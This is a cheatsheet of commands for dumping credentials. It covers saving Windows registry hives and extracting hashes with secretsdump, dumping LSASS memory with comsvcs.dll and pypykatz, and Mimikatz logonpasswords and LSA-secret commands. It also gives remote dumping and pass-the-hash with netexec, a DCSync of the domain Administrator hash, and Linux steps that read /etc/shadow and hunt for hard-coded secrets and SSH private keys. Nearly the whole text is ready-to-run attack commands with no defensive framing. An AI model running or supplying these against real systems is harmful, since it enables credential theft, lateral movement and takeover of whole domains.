Credential Dumping — Cheatsheet

Windows — save the local hives

Save the SAM hive (contains local password hashes).

$reg save HKLM\SAM sam.hive

Save the SYSTEM hive (holds the key to decrypt SAM).

$reg save HKLM\SYSTEM system.hive

Save the SECURITY hive (cached domain creds / LSA secrets).

$reg save HKLM\SECURITY security.hive

Extract hashes from the saved hives offline.

$impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

Windows — dump LSASS memory

Find the LSASS process ID.

$tasklist /fi "imagename eq lsass.exe"

Dump LSASS to disk using a built-in DLL (living off the land).

$rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

Parse the dump offline to recover credentials.

$pypykatz lsa minidump lsass.dmp

Mimikatz (run from an elevated prompt)

Enable the debug privilege, then dump logged-on plaintext/hashes.

01privilege::debug
02sekurlsa::logonpasswords

Dump the local SAM database.

01lsadump::sam

Dump LSA secrets (service account passwords, etc.).

01lsadump::lsa /patch

Remote (with creds or a hash)

Dump SAM + LSA remotely with creds.

$impacket-secretsdump $DOMAIN/$USER:$PASS@$IP

Pull the local SAM and LSA over SMB via netexec.

$nxc smb $IP -u $USER -p $PASS --sam --lsa

Same but authenticating with a hash (pass-the-hash).

$nxc smb $IP -u $USER -H <ntlm_hash> --lsa

DCSync (whole domain)

Replicate a single account's hash from the DC.

$impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-user Administrator

Linux loot

Read the shadow file for crackable hashes (if root).

$cat /etc/shadow

Grep the filesystem for hard-coded secrets.

$grep -rniE 'password|passwd|api[_-]?key|secret' /var/www /home /opt 2>/dev/null

Hunt for SSH private keys to reuse.

$find / -name id_rsa 2>/dev/null